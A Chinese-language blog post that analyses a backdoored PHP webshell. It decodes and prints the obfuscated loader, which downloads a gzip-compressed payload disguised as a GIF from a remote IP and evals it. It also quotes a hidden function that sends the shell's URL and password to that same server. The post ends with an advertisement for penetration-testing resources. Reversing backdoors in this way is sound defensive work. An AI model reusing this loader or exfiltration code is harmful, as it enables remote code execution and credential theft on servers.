一、PHP大马准备
PHP大马,示例如图所示
二、分析过程
第一步: 查看 php 大马的源码,惊奇的发现这代码也太少了吧,而且登录大马之后的功能还很多,代码这么少肯定有问题。
第二步: 打印出来这些char加密的内容
<?php
$p="";$i="c".$p."h".$p."r".$p;
$d=$i(104).$p.$i(116).$p.$i(116).$p.$i(112).$p.$i(58).$p.$i(47);
$d.=$i(47).$i(49).$p.$i(48).$p.$i(54).$i(46).$i(53).$p.$i(50).$i(46);
$d.=$i(49).$i(48).$i(55).$i(46).$p.$i(49).$p.$i(56).$i(48).$p.$i(47);
$d.=$i(109).$p.$i(46).$i(103).$p.$i(105).$p.$i(102);
//echo $d
//输出结果:http://106.52.107.180/m.gif(去服务器上下载大马)
$e=$i(102).$p.$i(105).$p.$i(108).$p.$i(101).$i(95);
$e.=$i(103).$p.$i(101).$p.$i(116).$p.$i(95).$i(99);
$e.=$i(111).$p.$i(110).$i(116).$p.$i(101).$i(110);
$e.=$i(116).$p.$i(115);
//echo $e
//输出结果:file_get_contents
$_SESSION['PhpCode']=$e($d);
//拼接起来就是 $_SESSION['PhpCode']=file_get_contents(http://106.52.107.180/m.gif),也就是去远程请求访问m.gif文件
$a=$i(103).$p.$i(122).$p.$i(105).$p.$i(110).$p.$i(102).$p.$i(108).$p.$i(97).$p.$i(116).$p.$i(101);
$a.=$p.$p.$p.$p.$p.$p.$p.$p.$p.$p;
//echo $a
//输出结果:gzinflate(是一种加密函数)
?>
经过char解密之后,拼接的完整语句内容是:
@eval(gzinflate(file_get_contents(http://106.52.107.180/m.gif)));
第三步: 查看 http://106.52.107.180/m.gif 发现就是一个图片,使用迅雷下载到本地
查看m.gif 发现是图片乱码
那么只能使用php脚本去输出 m.gif 图片中的php大马代码了
将 m.gif 文件与 dm.php 文件放在同一目录下
dm.php 代码:
<?php
$h=(gzinflate(file_get_contents(http://127.0.0.1/m.gif)));
echo $h;
?>
访问 dm.php 文件 http://127.0.0.1/dm.php ,会显示乱码
右键查看源代码就能查看到格式清晰的php大马内容了。将代码保存到本地 jiemi.php中,去查找 webshell的后门地址
保存到本地的 jiemi.php文件
第四步: 分析 php 大马的后门
查看 php 大马接收密码的变量为: $password
那么就在解密出来的 jiemi.php 文件中查找 $password 变量,发现全文就这个一个位置有该变量
而define() 函数意思是定义一个常量,将 $password 变量的值赋予 envlpass,接下来查看 envlpass 常量
终于在2374行的位置查看到可疑函数 loginhost
function loginhost()
{
@set_time_limit(10);
$serveru = $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];//当前主机的域名及文件位置
$serverp = envlpass;// $password 变量的值
$copyurl = base64_decode("aHR0cCUzQS8vMTA2LjUyLjEwNy4xODAvdXNhLnBocCUzRmtkYSUzRA==");//base64在线解密http://106.52.107.180/usa.php?kda=
$url = $copyurl . $serveru . '&cmd=' . $serverp;// http://106.52.107.180/usa.php?kda=http://127.0.0.1/dama.php&cmd=admin
$url = urldecode($url);
GetHtml($url);//GET请求访问$url地址
}
经过分析源代码的内容可以得知,该段代码的意思是,获取当前 dama.php 文件的地址以及 dama.php 文件的密码发送给 http://106.52.107.180/usa.php
终于找到了:这个位置就是后门地址: http://106.52.107.180/usa.php
更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥